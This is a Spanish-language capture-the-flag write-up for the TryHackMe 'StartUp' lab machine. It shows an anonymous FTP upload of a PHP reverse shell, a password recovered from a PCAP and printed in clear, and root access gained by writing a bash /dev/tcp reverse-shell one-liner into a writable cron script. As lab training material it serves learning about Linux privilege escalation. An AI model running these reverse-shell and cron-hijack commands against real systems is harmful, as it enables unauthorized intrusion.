TryHackMe Easy Linux FTP PHP Upload PCAP Cron pspy

StartUp

FTP anonimo permite subir PHP shell a directorio web; contrasena en PCAP; escalada via script cron escribible.

cat4clysm
Herramientas utilizadas
nmap ftp wfuzz netcat pspy

Scanning

root@kali:~$
nmap -sC -sV -p 21,22,80 -Pn -n 10.10.218.21 -oN targeted
nmap scan

FTP Anonimo + Carpeta Web

root@kali:~$
# FTP anonimo con permisos de escritura
ftp 10.10.218.21
ftp login
root@kali:~$
wfuzz -c --hc 404,403 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -u 'http://10.10.218.21/FUZZ'
wfuzz

La carpeta /files es la misma que la de FTP. Subimos reverse shell PHP:

root@kali:~$
cp /usr/share/webshells/php/php-reverse-shell.php shell.php
# Editamos IP y puerto
ftp upload file visible

Reverse Shell

root@kali:~$
nc -lvp 4444
shell triggered secret recipe

Analisis PCAP - Contrasena lennie

root@kali:~$
strings suspicious.pcapng
pcap strings
# Contrasena: c4ntg3t3n0ughsp1c3
ssh [email protected]

Escalada - Cron Script Escribible

planner scripts
root@kali:~$
# /etc/print.sh es escribible y ejecutado por root via cron
echo 'bash -i >& /dev/tcp/10.13.13.243/4444 0>&1' > /etc/print.sh
pspy cron
root@kali:~$
nc -lvp 4444
root shell

Lecciones aprendidas